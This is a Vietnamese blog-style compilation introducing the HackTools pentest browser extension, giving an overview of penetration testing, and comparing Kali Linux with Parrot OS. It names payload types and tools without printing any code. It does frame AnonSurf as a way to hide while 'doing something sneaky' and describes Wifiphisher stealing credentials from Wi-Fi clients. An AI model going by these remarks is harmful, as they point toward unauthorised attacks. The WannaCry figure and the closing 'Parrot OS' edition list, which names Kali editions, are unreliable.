HackTools

HackTools là một tiện ích mở rộng cho trình duyệt nhằm tạo điều kiện thuận lợi cho các bài kiểm tra thâm nhập ứng dụng web của bạn. Nó bao gồm các bảng cheatsheet (bảng tra cứu) cũng như tất cả các payloads được dùng để khai thác các lỗ hổng nguy hiểm như XSS, SQL, Reverse shells và nhiều hơn thế nữa.

Với tiện ích mở rộng này, bạn sẽ không còn cần phải tìm kiếm các payloads trong các trang web khác nhau hoặc trong không gian lưu trữ cục bộ của mình. Hầu hết các payloads này đều có thể truy cập chỉ bằng một cú nhấp chuột. HackTools có thể truy cập ở chế độ pop up hoặc ở toàn bộ tab trong phần Devtools của trình duyệt với F12.

Download

https://github.com/LasCC/Hack-Tools

Tính năng

• Công cụ tạo Dynamic Reverse Shell (PHP, Bash, Ruby, Python, Perl, Netcat)
• Công cụ tạo TTY Shell Spawning
• XSS Payloads
• SQL Injection Payloads
• Tập tin cục bộ kèm theo Payloads (LFI)
• Mã hóa và giải mã Base64
• Công cụ tạo Hash (MD5, SHA1, SHA256, SHA512, SM3)
• Một số câu lệnh hữu ích trong Linux (Port Forwarding, SUID)
• RSS Feed (Exploit DB, Cisco Security Advisories, CXSECURITY)
• Công cụ tìm kiếm mã lỗi CVE

Screenshots

Kết luận

Bộ công cụ HackTools này sẽ bao gồm tất các công cụ cần thiết cho những người kiểm thử thâm nhập cho ứng dụng Web. Ngoài ra, nó còn cung cấp một số bảng tra cứu cho các lỗ hổng phổ biến và cách để khai thác chúng.

Penetration Testing là gì ?

Penetration Testing (Kiểm Tra Thâm Nhập) là quy trình xác định các lỗ hổng bảo mật trong ứng dụng bằng cách đánh giá hệ thống hoặc mạng bằng các kỹ thuật khác nhau. Các điểm yếu của một hệ thống được khai thác trong quá trình này đều thông qua một cuộc tấn công mô phỏng (được sự cho phép của các tổ chức).

Mục đích của sự kiểm tra này là để bảo mật dữ liệu quan trọng khỏi những kẻ bên ngoài như hacker để có thể truy cập trái phép vào hệ thống. Khi lỗ hổng đã được xác định, nó sẽ được sử dụng để khai thác hệ thống nhằm truy cập các thông tin nhạy cảm.

Kiểm tra thâm nhập còn được gọi là pen test và người kiểm tra thâm nhập còn được gọi là penetration tester.

Người kiểm tra thâm nhập có thể tìm ra các lỗ hổng của hệ thống máy tính, ứng dụng web hoặc mạng thông qua kiểm tra thâm nhập.

Kiểm tra thâm nhập còn cho chúng ta biết liệu các biện pháp phòng thủ đang được sử dụng trên hệ thống có đủ mạnh để ngăn chặn bất kỳ hành vi vi phạm bảo mật nào hay không. Các báo cáo kiểm tra thâm nhập cũng đề xuất các biện pháp đối phó có thể được thực hiện để giảm thiểu nguy cơ hệ thống bị tấn công.

Nguyên nhân của các lỗ hổng

• Lỗi thiết kế và phát triển: Có thể có sai sót trong quá trình thiết kế phần cứng và phần mềm. Những lỗi này có thể khiến dữ liệu quan trọng trong doanh nghiệp của bạn có nguy cơ bị lộ.
• Cấu hình hệ thống kém: Đây là một nguyên nhân khác của lỗ hổng bảo mật. Nếu hệ thống được cấu hình kém, thì nó có thể tạo ra các kẽ hở mà qua đó kẻ tấn công có thể xâm nhập vào hệ thống và đánh cắp thông tin.
• Con người: Các yếu tố con người như xử lý tài liệu không đúng cách, để tài liệu không cần giám sát, lỗi mã hóa, mối đe dọa từ nội bộ, chia sẻ mật khẩu qua các trang web lừa đảo, v.v. có thể dẫn đến vi phạm bảo mật.
• Khả năng kết nối: Nếu hệ thống được kết nối với một mạng không an toàn (kết nối mở) thì nó sẽ nằm trong tầm ngắm của các hacker.
• Độ phức tạp: Lỗ hổng bảo mật tăng lên tương ứng với mức độ phức tạp của hệ thống. Hệ thống càng có nhiều tính năng thì càng có nhiều khả năng hệ thống bị tấn công.
• Mật khẩu: Mật khẩu được sử dụng để ngăn chặn truy cập trái phép. Chúng phải đủ mạnh để không ai có thể đoán được mật khẩu của bạn. Mật khẩu không được chia sẻ với bất kỳ ai bằng bất kỳ giá nào và mật khẩu nên được thay đổi định kỳ. Bất chấp những hướng dẫn này, đôi khi mọi người tiết lộ mật khẩu của họ cho người khác, hãy ghi chúng vào đâu đó và giữ những mật khẩu dễ đoán.
• Đầu vào của người dùng: Chắc hẳn bạn đã nghe nói về SQL injection, Buffer Overflow, v.v. Dữ liệu nhận được dưới dạng điện tử thông qua các phương thức này có thể được sử dụng để tấn công hệ thống.
• Quản lý: Quản lý bảo mật rất khó khăn và tốn kém. Đôi khi các tổ chức thiếu kinh nghiệm trong việc quản lý rủi ro và do đó lỗ hổng bảo mật được tạo ra bên trong hệ thống.
• Nhân viên chưa có nhận thức về bảo mật: Điều này dẫn đến sai sót của con người và các lỗ hổng khác.
• Truyền thông: Các kênh như mạng di động, internet, điện thoại mở ra phạm vi trộm cắp dữ liệu.

Tại sao phải Kiểm Tra Thâm Nhập?

Bạn chắc hẳn đã nghe nói về cuộc tấn công ransomware WannaCry bắt đầu vào tháng 5 năm 2017. Nó đã khóa hơn 2 vạn máy tính trên khắp thế giới và yêu cầu thanh toán tiền chuộc bằng tiền điện tử Bitcoin. Cuộc tấn công này đã ảnh hưởng đến nhiều tổ chức lớn trên toàn cầu.

Với những cuộc tấn công mạng lớn và nguy hiểm đang diễn ra ngày nay, việc kiểm tra thâm nhập thường xuyên là điều cần thiết để bảo vệ hệ thống thông tin chống lại các vi phạm bảo mật.

Dưới đây là những lý do chính mà Kiểm Tra Thâm Nhập là yêu cầu bắt buộc:

• Dữ liệu tài chính hoặc dữ liệu quan trọng phải được bảo mật trong khi chuyển dữ liệu giữa các hệ thống khác nhau hoặc qua mạng.
• Nhiều khách hàng đang yêu cầu thực hiện kiểm tra thâm nhập như một phần của chu kỳ phát hành phần mềm.
• Để bảo mật dữ liệu người dùng.
• Để tìm các lỗ hổng bảo mật trong một ứng dụng.
• Để khám phá các nguy cơ bảo mật trong hệ thống.
• Để đánh giá tác động kinh doanh khi bị ảnh hưởng bởi các cuộc tấn công mạng.
• Để đáp ứng việc tuân thủ bảo mật thông tin trong tổ chức.
• Để thực hiện chiến lược bảo mật hiệu quả trong tổ chức.

Việc xác định các vấn đề bảo mật trong mạng nội bộ và máy tính là rất quan trọng đối với bất kỳ tổ chức nào. Sử dụng những thông tin này có thể lập kế hoạch phòng thủ chống lại bất kỳ nỗ lực tấn công nào. Quyền riêng tư của người dùng và bảo mật dữ liệu là mối quan tâm lớn nhất hiện nay.

Cái gì cần được kiểm tra?

• Phần mềm (Hệ điều hành, dịch vụ, ứng dụng)
• Phần cứng
• Mạng
• Các tiến trình
• Hành vi người dùng cuối

Các loại Kiểm Tra Thâm Nhập

Social Engineering Test

Trong phương pháp kiểm tra này, các nỗ lực được thực hiện để khiến một người tiết lộ thông tin nhạy cảm như mật khẩu, dữ liệu quan trọng trong kinh doanh, v.v. Những kiểm tra này chủ yếu được thực hiện thông qua điện thoại hoặc internet và nó nhắm mục tiêu vào một số bộ phận như hỗ trợ, nhân viên và quy trình nhất định.

Lỗi của con người là nguyên nhân chính gây ra lỗ hổng bảo mật. Các tiêu chuẩn và chính sách bảo mật nên được tất cả nhân viên tuân theo để tránh nỗ lực xâm nhập của phương thức kiểm tra này. Ví dụ về các tiêu chuẩn này bao gồm không đề cập đến bất kỳ thông tin nhạy cảm nào trong giao tiếp qua email hoặc điện thoại. Đánh giá bảo mật có thể được tiến hành để xác định và sửa chữa các sai sót trong quy trình làm việc.

Web Application Test

Sử dụng các phần mềm Kiểm Tra Thâm Nhập tự động, người ta có thể xác minh xem ứng dụng có bị lộ các lỗ hổng bảo mật hay không. Nó kiểm tra lỗ hổng bảo mật của các ứng dụng web và chương trình phần mềm được đặt trong môi trường của mục tiêu.

Physical Penetration Test

Các phương pháp bảo mật vật lý được áp dụng để bảo vệ dữ liệu nhạy cảm. Phương thức này thường được sử dụng trong các cơ sở quân sự và chính phủ. Tất cả các thiết bị mạng vật lý và điểm truy cập đều được kiểm tra khả năng xảy ra bất kỳ vi phạm bảo mật nào. Phương thức kiểm tra này không liên quan nhiều đến phạm vi kiểm tra phần mềm.

Network Services Test

Đây là một trong những phương thức Kiểm Tra Thâm Nhập được thực hiện phổ biến nhất, trong đó các lỗ hổng trong mạng được xác định bằng thành phần đang được thực hiện trong các hệ thống trên mạng để kiểm tra xem có loại lỗ hổng nào. Nó có thể được thực hiện tại địa phương hoặc từ xa.

Client-side Test

Mục đích của kiểm tra này là tìm kiếm và khai thác các lỗ hổng trong các phần mềm phía máy khách.

Remote dial-up war dial

Các hacker tìm kiếm các modem trong môi trường xung quanh và cố gắng đăng nhập vào các hệ thống được kết nối thông qua các modem này bằng cách đoán mật khẩu hoặc sử dụng kỹ thuật "vét cạn".

Wireless security test

Các hacker khám phá các điểm phát sóng hoặc mạng Wi-Fi công cộng và kết nối chúng để thực hiện các hành vi vi phạm bảo mật.

Ngoài 7 loại kiểm tra mà chúng ta đã nói ở trên, chúng ta có thể phân loại pen test thành 3 phần như sau:

Chúng ta hãy cùng thảo luận từng phương pháp kiểm tra này:

• Black Box Penetration Testing: Người kiểm tra sẽ đánh giá hệ thống, mạng hoặc quy trình của mục tiêu mà không cần biết về các chi tiết bên trong. Họ chỉ có những thông tin cơ bản như URL hoặc tên công ty mà họ sử dụng để thâm nhập vào môi trường mục tiêu. Không có đoạn code nào được kiểm tra với phương thức kiểm tra này.
• White Box Penetration Testing: Người kiểm tra được trang bị đầy đủ thông tin chi tiết về môi trường của mục tiêu như hệ thống, mạng, hệ điều hành, địa chỉ IP, mã nguồn, lược đồ, v.v. Điều đó sẽ giúp cho người kiểm tra dễ dàng kiểm tra code và tìm ra lỗi thiết kế & phát triển phần mềm hoặc phần cứng. Phương pháp kiểm tra này được xem như một sự mô phỏng của cuộc tấn công bảo mật trong nội bộ.
• Grey Box Penetration Testing: Người kiểm tra sẽ bị giới hạn chi tiết về môi trường của mục tiêu. Phương pháp kiểm tra này được xem như một sự mô phỏng của cuộc tấn công bảo mật bên ngoài.

Các kỹ thuật Kiểm Tra Thâm Nhập

Trong Kiểm Tra Thâm Nhập sẽ có 3 kỹ thuật chính được liệt kê dưới đây:

• Kiểm Tra Thâm Nhập thủ công
• Sử dụng các côn cụ kiểm tra thâm nhập tự động
• Kết hợp cả 2 phương pháp trên

Kỹ thuật thứ 3 sẽ được sử dụng thường hơn để nhận dạng các loại lỗ hổng khác nhau.

Các công cụ Kiểm Tra Thâm Nhập

Các công cụ tự động có thể được sử dụng để xác định một số lỗ hổng tiêu chuẩn có trong ứng dụng. Các công cụ này sẽ quét code để kiểm tra xem có mã độc nào có thể dẫn đến vi phạm bảo mật tiềm ẩn hay không. Các công cụ này có thể xác minh các lỗ hổng bảo mật có trong hệ thống bằng cách kiểm tra các kỹ thuật mã hóa dữ liệu và tìm ra các giá trị được mã hóa cứng như tên người dùng và mật khẩu.

Các tiêu chí để lựa chọn các công cụ Kiểm Tra Thâm Nhập

• Dễ dàng triển khai, cấu hình và sử dụng.
• Quét hệ thống của bạn một cách dễ dàng.
• Phân loại các lỗ hổng dựa trên mức độ nghiêm trọng cần sửa chữa ngay lập tức.
• Có thể tự động xác minh các lỗ hổng.
• Xác minh lại các khai thác được tìm thấy trước đó.
• Có thể tạo ra các báo cáo và nhật ký lỗ hổng chi tiết.

Dưới đây là một số công cụ Kiểm Tra Thâm Nhập được sử dụng phổ biến (bao gồm miễn phí và có tính phí):

• Netsparker
• Acunetix
• Core Impact
• Hackerone
• Intruder
• Indusface
• BreachLock
• Metasploit
• Wireshark
• w3af
• Nmap
• Nessus
• Burpsuite
• Cain & Abel
• Zed Attack Proxy (ZAP)
• John The Ripper
• Retina
• Sqlmap
• Canvas
• Social-Engineer Toolkit (SET)
• BeEF
• Dradis

Các dịch vụ pen test có tính phí:

• SecurityBox
• Viettel
• CyStack
• Rapid7

Kiểm Tra Thâm Nhập thủ công

Rất khó để có thể tìm thấy tất cả các lỗ hổng bảo mật bằng các công cụ tự động. Có một số lỗ hổng chỉ có thể được xác định bằng cách quét thủ công. Người kiểm tra thâm nhập có thể thực hiện các cuộc tấn công tốt hơn vào ứng dụng dựa trên kỹ năng và kiến ​​thức của họ về hệ thống bị xâm nhập. Các phương pháp như social engineering chỉ có thể được thực hiện bởi con người. Kiểm Tra Thâm Nhập thủ công bao gồm thiết kế, logic nghiệp vụ cũng như xác minh các đoạn code.

Quá trình thực hiện Kiểm Tra Thâm Nhập thủ công

• Data collection: Nhiều phương pháp khác nhau bao gồm việc tìm kiếm bằng Google được sử dụng để lấy dữ liệu hệ thống của mục tiêu. Chúng ta cũng có thể sử dụng kỹ thuật phân tích code trang web để biết thêm thông tin về hệ thống, phần mềm và các phiên bản plugin. Có rất nhiều công cụ và dịch vụ miễn phí có sẵn trên thị trường có thể cung cấp cho bạn thông tin như cơ sở dữ liệu hoặc tên bảng, phiên bản database, phiên bản phần mềm, phần cứng được sử dụng và các plugin bên thứ ba khác nhau được sử dụng trong hệ thống của mục tiêu.
• Vulnerability Assessment: Dựa trên dữ liệu thu thập được trong bước đầu tiên, người ta có thể tìm ra điểm yếu bảo mật trong hệ thống của mục tiêu. Điều này giúp người kiểm tra thâm nhập có thể khởi động các cuộc tấn công bằng cách sử dụng các điểm yếu đã được xác định trong hệ thống.
• Actual Exploit: Đây là bước quan trọng nhất trong quá trình này. Nó đòi hỏi các kỹ năng và kỹ thuật đặc biệt để phát động một cuộc tấn công vào hệ thống của mục tiêu. Những người kiểm tra thâm nhập có kinh nghiệm có thể sử dụng kỹ năng của họ để khởi động một cuộc tấn công vào hệ thống.
• Result analysis and report preparation: Sau khi hoàn thành quá trình Kiểm Tra Thâm Nhập, các báo cáo chi tiết sẽ được chuẩn bị để thực hiện các hành động khắc phục. Tất cả các lỗ hổng đã được xác định và các phương pháp khắc phục được khuyến nghị sẽ được liệt kê trong các báo cáo này. Bạn có thể tùy chỉnh định dạng báo cáo lỗ hổng bảo mật (HTML, XML, MS Word hoặc PDF) theo yêu cầu từ tổ chức của bạn.

Một số ví dụ về các trường hợp Kiểm Tra Thâm Nhập:

Các bạn hãy nhớ rằng đây không phải là các phương thức bắt buộc. Trong Pentest, mục tiêu của bạn là tìm ra các lỗ hổng bảo mật trong hệ thống. Dưới đây là một số trường hợp Kiểm Tra Thâm Nhập chung và không nhất thiết phải áp dụng cho tất cả các ứng dụng.

1. Kiểm tra xem ứng dụng web có thể xác định các vụ tấn công spam trên các contact forms được sử dụng trên trang web.
2. Máy chủ Proxy - Kiểm tra xem lưu lượng truy cập mạng do các thiết bị proxy theo dõi. Máy chủ Proxy gây khó khăn cho các hacker để có được các thông tin chi tiết nội bộ của mạng do đó bảo vệ hệ thống khỏi các cuộc tấn công bên ngoài.
3. Hệ thống lọc spam email - Xác minh nếu lưu lượng truy cập email trong và ngoài mạng được lọc và không bị chặn. Nhiều ứng dụng email đi kèm với bộ lọc spam được tích hợp sẵn cần được cấu hình theo nhu cầu của bạn. Các quy tắc cấu hình này có thể được áp dụng cho các tiêu đề email, chủ đề hoặc nội dung.
4. Tường lửa – Đảm bảo toàn bộ mạng hoặc máy tính được bảo vệ bằng tường lửa. Tường lửa có thể là phần mềm hoặc phần cứng để chặn truy cập trái phép vào hệ thống. Tường lửa có thể ngăn việc gửi dữ liệu bên ngoài mạng mà không được phép.
5. Cố gắng khai thác lỗi ở tất cả các máy chủ, hệ thống máy tính để bàn, máy in và thiết bị mạng.
6. Kiểm tra rằng tất cả tên người dùng và mật khẩu được mã hóa và chuyển qua kết nối bảo mật như https.
7. Kiểm tra thông tin lưu trữ của cookies trong trang web. Không nên có định dạng dễ đọc.
8. Kiểm tra các lỗ hổng cũ để kiểm tra xem có hiệu quả không.
9. Kiểm tra xem có port nào đang mở trong mạng.
10. Kiểm tra tất cả các thiết bị điện thoại.
11. Kiểm tra bảo mật mạng wifi.
12. Kiểm tra tất cả các phương thức của HTTP. Phương thức PUT và DELETE không nên được bật trên máy chủ web.
13. Kiểm tra nếu mật khẩu đáp ứng các tiêu chuẩn bắt buộc của tổ chức. Mật khẩu phải dài ít nhất 8 ký tự chứa ít nhất một số và một ký tự đặc biệt.
14. Tên người dùng không phải là admin hoặc administrator.
15. Trang đăng nhập ứng dụng phải được khóa sau vài lần đăng nhập không thành công.
16. Thông báo lỗi phải là chung và không đề cập chi tiết lỗi cụ thể như "tên người dùng không hợp lệ" hoặc "mật khẩu không hợp lệ".
17. Kiểm tra các ký tự đặc biệt, thẻ html và script được xử lý đúng như giá trị đầu vào.
18. Chi tiết hệ thống nội bộ không nên được tiết lộ trong bất kỳ lỗi hoặc thông báo nào.
19. Thông báo lỗi tùy chỉnh phải được hiển thị cho người dùng trong trường hợp lỗi trang web.
20. Kiểm tra khi sử dụng registry. Thông tin nhạy cảm không nên được giữ trong registry.
21. Mọi files phải được quét trước khi tải lên máy chủ.
22. Dữ liệu nhạy cảm không được thông qua trong url khi giao tiếp với các modules nội bộ khác nhau của ứng dụng web.
23. Không nên có tên người dùng hoặc mật khẩu nào trong hệ thống.
24. Kiểm tra tất cả các trường input với chuỗi đầu vào dài và không có khoảng trống.
25. Kiểm tra chức năng đặt lại mật khẩu phải được bảo mật.
26. Kiểm tra ứng dụng bằng kiểu tấn công SQL Injection.
27. Kiểm tra ứng dụng bằng kiểu tấn công Cross Site Scripting.
28. Validate các trường input phải được thực hiện ở phía server thay vì kiểm tra javascript ở phía ứng dụng.
29. Các tài nguyên quan trọng trong hệ thống cần được phân cho những người được ủy quyền.
30. Tất cả các nhật ký truy cập phải được duy trì với quyền truy cập đúng.
31. Kiểm tra session người dùng khi đăng xuất.
32. Kiểm tra việc duyệt thư mục bị vô hiệu hóa trên máy chủ.
33. Kiểm tra rằng tất cả các ứng dụng và phiên bản cơ sở dữ liệu đều được cập nhật mới nhất.
34. Kiểm tra trên thanh địa chỉ url để xem ứng dụng web có hiển thị bất kỳ thông tin không mong muốn nào không.
35. Kiểm tra rò rỉ bộ nhớ và tràn bộ đệm.
36. Kiểm tra lưu lượng truy cập mạng từ ngoài vào để tìm kiếm các cuộc tấn công bằng trojan.
37. Kiểm tra xem hệ thống có an toàn không.
38. Kiểm tra hệ thống hoặc mạng có được bảo đảm trong các cuộc tấn công từ DOS (Denial-of-Service). Hacker có thể nhắm mục tiêu mạng hoặc một máy tính duy nhất có request liên tục do tài nguyên trên hệ thống mục tiêu bị quá tải dẫn đến việc các dịch vụ bị tê liệt.
39. Kiểm tra các cuộc tấn công HTML script.
40. kiểm tra các cuộc tấn công COM & ActiveX.
41. Kiểm tra các cuộc tấn công spoofing. Spoofing có thể làm giả địa chỉ ip, giả mạo id email, giả mạo ARP, giả mạo các liên kết, giả mạo id người gọi.
42. Kiểm tra các cuộc tấn công khi chuỗi định dạng không được kiểm soát - một cuộc tấn công có thể gây ra ứng dụng này bị crash hoặc thực hiện một đoạn script độc hại trên đó.
43. Kiểm tra cuộc tấn công XML Injection.
44. kiểm tra cuộc tấn công Directory Traversal.
45. Kiểm tra các trang lỗi đang hiển thị bất kỳ thông tin nào có thể hữu ích cho một hacker để xâm nhập vào hệ thống.
46. Kiểm tra nếu có dữ liệu quan trọng như mật khẩu được lưu trữ trong các tập tin bí mật trên hệ thống.
47. Kiểm tra xem ứng dụng có trả lại nhiều dữ liệu hơn không.

Các chuẩn Kiểm Tra Thâm Nhập

• Payment Card Industry Data Security Standard (PCI DSS)
• Open Web Application Security Project (OWASP)
• ISO/IEC 27002- The Open Source Security Testing Methodology Manual (OSSTMM)

Các chứng chỉ trong Kiểm Tra Thâm Nhập

• EC-Council Certified Ethical Hacker (CEH)
• EC-Council Licensed Penetration Tester (LPT) - Master
• IACRB Certified Penetration Tester (CPT)
• Certified Expert Penetration Tester (CEPT)
• Certified Mobile and Web Application Penetration Tester (CMWAPT)
• Certified Red Team Operations Professional (CRTOP)
• CompTIA PenTest+
• GIAC Penetration Tester (GPEN)
• GIAC Exploit Researcher and Advanced Penetration Tester (GXPN)
• Offensive Security Certified Professional (OSCP)

Kết luận

Với vai trò là người kiểm tra thâm nhập, bạn nên thu thập và ghi lại tất cả các lỗ hổng trong hệ thống. Đừng bỏ qua bất kỳ tình huống nào nếu xét rằng nó sẽ không được thực thi bởi người dùng cuối.

Penetration Testing OS

Nếu bạn là một hacker, người kiểm tra thâm nhập (penetration tester), thợ săn tiền thưởng (bug bounty hunter) hoặc một nhà nghiên cứu bảo mật thì có lẽ bạn đã nghe nói về 2 bản phân phối của Linux này.

Mình đã sử dụng cả hai hệ điều hành khá thường xuyên cho công việc nghiên cứu và thử nghiệm của mình. Linux có một bộ sưu tập các bản phân phối không đồng nhất và có sẵn trên thị trường. Nhưng bản phân phối nổi tiếng nhất được hầu hết các nhà nghiên cứu bảo mật và kiểm tra thâm nhập sử dụng là Kali Linux. Kali đã trải qua nhiều bản cập nhật trong khi một bản phân phối khác liên quan đến an ninh mạng trong kiểm tra thâm nhập cũng đang được phát triển trên khắp thế giới. Trong bài viết này, mình sẽ so sánh giữa Kali Linux với một bản phân phối đã được mọi người chú ý khá nhiều - ParrotsOS. Sự so sánh này sẽ giải thích những ưu và nhược điểm khác nhau của cả hai hệ điều hành.

Kiểm tra thâm nhập không phải là cách mà chúng ta sử dụng công cụ mà nó là những kỹ năng để áp dụng giải quyết vấn đề.

Kali Linux là gì?

Kali Linux là bản phân phối Linux dựa trên Debian nhằm mục đích kiểm tra thâm nhập nâng cao và kiểm tra bảo mật. Kali chứa hơn 600 trăm công cụ được cài đặt sẵn nhằm hướng đến các nhiệm vụ an toàn thông tin khác nhau, chẳng hạn như Kiểm Tra Thâm Nhập (Penetration Testing), Nghiên Cứu Bảo Mật (Security research), Pháp Y Máy Tính (Computer Forensics), Kiểm Thử Ứng Dụng Web (Web Application Testing) và Kỹ Thuật Dịch Ngược (Reverse Engineering). Kali Linux được phát triển và duy trì bởi đội ngũ Offensive Security - một công ty đào tạo hàng đầu về bảo mật thông tin. Nó được phát triển như một bản phân phối thử nghiệm và sẽ được dùng để thay thế cho BacktrackOS. Nó được phát hành vào ngày 13 tháng 3 năm 2013 như một bản xây dựng lại hoàn chỉnh từ đầu đến cuối của BackTrack Linux, tuân thủ hoàn toàn các tiêu chuẩn phát triển Debian.

Tính năng

Hơn 600 công cụ kiểm tra thâm nhập

Kali đi kèm với các công cụ kiểm tra thâm nhập khác nhau từ bản cài đặt. Sau khi xem xét mọi công cụ có trong BackTrack, nó đã loại bỏ một số lượng lớn các công cụ đơn giản là không hoạt động hoặc sao chép các công cụ khác đã cung cấp chức năng giống nhau hoặc tương tự.

Hỗ trợ đa ngôn ngữ

Mặc dù các công cụ kiểm tra thâm nhập có xu hướng được viết bằng tiếng Anh. Nhưng để cải thiện việc sử dụng của người dùng tiếng Anh không phải là bản ngữ, Kali đã bao gồm hỗ trợ đa ngôn ngữ thực sự và cho phép nhiều người dùng hoạt động bằng ngôn ngữ mẹ đẻ của họ và xác định vị trí các công cụ họ cần cho công việc.

Hoàn toàn có thể tùy chỉnh

Thiết kế ban đầu của Kali Linux không đạt tiêu chuẩn vì giao diện không đẹp. Và để tránh vấn đề đó, Kali đã giúp những người dùng ưa thích sự thay đổi hơn có thể tùy chỉnh Kali Linux theo ý thích của họ dễ dàng nhất có thể và tất cả đều áp dụng xuống kernel của Linux.

Hỗ trợ thiết bị không dây trên phạm vi rộng

Một điểm hay gắn bó với các bản phân phối Linux đã được hỗ trợ cho các giao diện không dây. Kali Linux hỗ trợ nhiều thiết bị không dây nhất có thể, cho phép nó chạy đúng cách trên nhiều loại phần cứng và làm cho nó tương thích với nhiều USB và các thiết bị không dây khác.

Kernel có thể tùy chỉnh và luôn được cập nhật những bản vá lỗi

Là người kiểm tra thâm nhập, chúng ta thường cần thực hiện đánh giá và kiểm tra không dây, vì vậy kernel của chúng ta nên có các bản vá lỗi mới nhất.

Và cuối cùng là MIỄN PHÍ

Kali Linux, nó được sử dụng miễn phí như BackTrack, chúng ta sẽ không bao giờ cần phải trả tiền cho Kali Linux.

Parrot OS là gì ?

Parrot Linux (Parrot Security, parrot OS, Parrot GNU / Linux) là bản phân phối GNU / Linux mã nguồn mở và miễn phí dựa trên phiên bản Debian được thiết kế cho các chuyên gia bảo mật, nhà phát triển và những người có hiểu biết về quyền riêng tư. Khi chúng ta nó nói dựa trên Debian, điều đó có nghĩa là các đoạn code trong Parrot OS sẽ luôn tuân theo các tiêu chuẩn phát triển Debian. Nó bao gồm một kho các công cụ đầy đủ cho các hoạt động bảo mật CNTT và pháp y kỹ thuật số, nhưng nó cũng bao gồm mọi thứ chúng ta cần để phát triển các chương trình của riêng mình hoặc bảo vệ quyền riêng tư của chúng ta khi tham gia vào môi trường mạng. Hệ điều hành này đi kèm với giao diện MATE được cài đặt sẵn và có nhiều phiên bản để phù hợp với nhu cầu của bạn.

Hệ điều hành Parrot được phát hành lần đầu tiên vào năm 2013 và được phát triển bởi một nhóm các chuyên gia bảo mật, những người đam mê Linux và các nhà phát triển mã nguồn mở. Đội ngũ này do Lorenzo Faletra làm trưởng nhóm.

Tính năng

Bảo mật

Nó luôn được cập nhật, phát hành thường xuyên và được đóng gói đầy đủ! Mọi thứ đều nằm trong tầm kiểm soát hoàn toàn của chúng ta.

Miễn phí

Nó miễn phí và mã nguồn mở, chúng ta có thể xem mã nguồn và tùy chỉnh nó theo yêu cầu của chúng ta.

Nhẹ

Hệ điều hành này đã được chứng minh là cực kỳ nhẹ và chạy rất nhanh, ngay cả trên phần cứng rất cũ hoặc với các tài nguyên rất hạn chế.

Kali Linux vs Parrot OS

Cả hai hệ điều hành này đều nhằm mục đích giống nhau, tức là kiểm tra khả năng thâm nhập và bảo mật không gian mạng. Hầu hết các yếu tố trong những trường hợp như vậy tập trung vào vấn đề sở thích cá nhân hơn là so sánh khách quan. Bây giờ, trước khi chúng ta bắt đầu so sánh Parrot OS và Kali Linux, hãy để mình liệt kê những điểm tương đồng giữa hai hệ điều hành.

Giống nhau

• Cả hai hệ điều hành đều được tùy chỉnh để phù hợp với mục đích kiểm tra thâm nhập.
• Cả hai hệ điều hành đều hỗ trợ kiến ​​trúc 32bit và 64bit.
• Cả hai hệ điều hành đều hỗ trợ VPN đám mây.
• Dựa trên các tiêu chuẩn phát triển Debian.
• Đi kèm với kho công cụ hacking đã được cài đặt sẵn.
• Cả hai hệ điều hành đều hỗ trợ cho các thiết bị nhúng và IoT.

Khác nhau

Phần cứng

Parrot OS	Kali Linux
Không cần tăng tốc đồ họa.	Yêu cầu tăng tốc đồ họa.
Yêu cầu RAM tối thiểu 320mb.	Yêu cầu RAM tối thiểu 1GB.
Yêu cầu CPU lõi kép 1GHZ tối thiểu.	Yêu cầu CPU lõi kép 1GHZ tối thiểu.
Nó cũng có thể khởi động ở chế độ Legacy và UEFI.	Nó cũng có thể khởi động ở chế độ Legacy và UEFI.
Cần ít nhất 16GB dung lượng đĩa cứng để cài đặt hệ điều hành.	Cần ít nhất 20GB dung lượng đĩa cứng để cài đặt hệ điều hành.

Yêu cầu phần cứng là thứ mà chúng ta bỏ qua hầu hết thời gian, chủ yếu vì chúng ta biết rằng hệ thống của chúng ta mạnh hơn nhiều so với các máy tính yêu cầu phần cứng tối thiểu. Nhưng Parrot cần phần cứng thông số kỹ thuật thấp hơn khi so sánh với Kali, có nghĩa là nó có thể chạy trên máy tính xách tay.

Đây là một trong những lý do tại sao mình thích Parrot OS hơn Kali Linux, nhưng mình thích và sử dụng cả hai và như mình đã nói ở trên đầu bài viết, không quan trọng hệ điều hành hay công cụ nào mà bạn đang sử dụng, tất cả phụ thuộc vào kỹ năng của bạn.

Giao diện

Khi nói đến giao diện của một hệ điều hành, mình chủ yếu thích hệ điều hành Parrot OS hơn Kali Linux vì:

Giao diện của Parrot OS được xây dựng giống với phong cách của hệ điều hành Ubuntu (Mate). Ở trên cùng, bạn thấy một ngăn chứa Ứng dụng, Địa điểm, Hệ thống giống như Kali. Hệ điều hành Parrot cũng cung cấp một số thông tin thú vị về nhiệt độ CPU cùng với biểu đồ sử dụng. Ngăn dưới cùng chứa trình quản lý menu và trình quản lý máy trạm.

Mặt khác, Kali Linux tuân theo giao diện GNOME. Theo ý kiến ​​của mình, nó có chức năng tương tự như hệ điều hành Parrot OS nhưng không mang lại vẻ ngoài gọn gàng, tinh tế.

Công cụ Hacking

Khi nói đến các công cụ và tính năng chung, Parrot OS thắng Kali Linux. Hệ điều hành Parrot có tất cả các công cụ có sẵn trong Kali Linux và cũng bổ sung các công cụ của riêng nó. Có một số công cụ bạn sẽ tìm thấy trên Parrot OS mà không có trên Kali Linux. Hãy thảo luận về một vài công cụ được liệt kê dưới đây:

AnonSurf

Ẩn danh đối với một hacker là bước đầu tiên trước khi hack một hệ thống.

Chắc hẵn bạn đã từng nghe thấy câu nói trên, mỗi hacker đều thay đổi nhân dạng của mình vào lúc nửa đêm. Mình không muốn đi quá sâu vào công cụ này nhưng Parrot đã cài đặt và cấu hình sẵn Anonsurf, vì vậy nếu bạn đang làm điều gì đó lén lút và muốn ẩn danh, bạn có thể che giấu bản thân chỉ bằng một cú nhấp chuột.

Wifiphisher

Đây là một framework Access Point giả mạo được sử dụng để tiến hành kiểm tra bảo mật của Wi-Fi. Sử dụng Wifiphisher, người kiểm tra thâm nhập có thể dễ dàng trở thành vai trò trung gian trong man-in-the-middle để nhắm vào các máy khách không dây bằng cách thực hiện các cuộc tấn công vào Wi-Fi mục tiêu. Wifiphisher có thể được sử dụng để thay đổi trang web giả mạo và dẫn dụ các máy khách được kết nối nhằm lấy thông tin xác thực hoặc lây nhiễm phần mềm độc hại cho máy nạn nhân.

Các phiên bản

Cả hai hệ điều hành đều có nhiều phiên bản, nhưng Parrot OS có nhiều hơn thế về sự đa dạng.

Parrot OS

• Kali Full Edition
• Kali Lite Edition
• Kali armhf/armel (IoT devices)
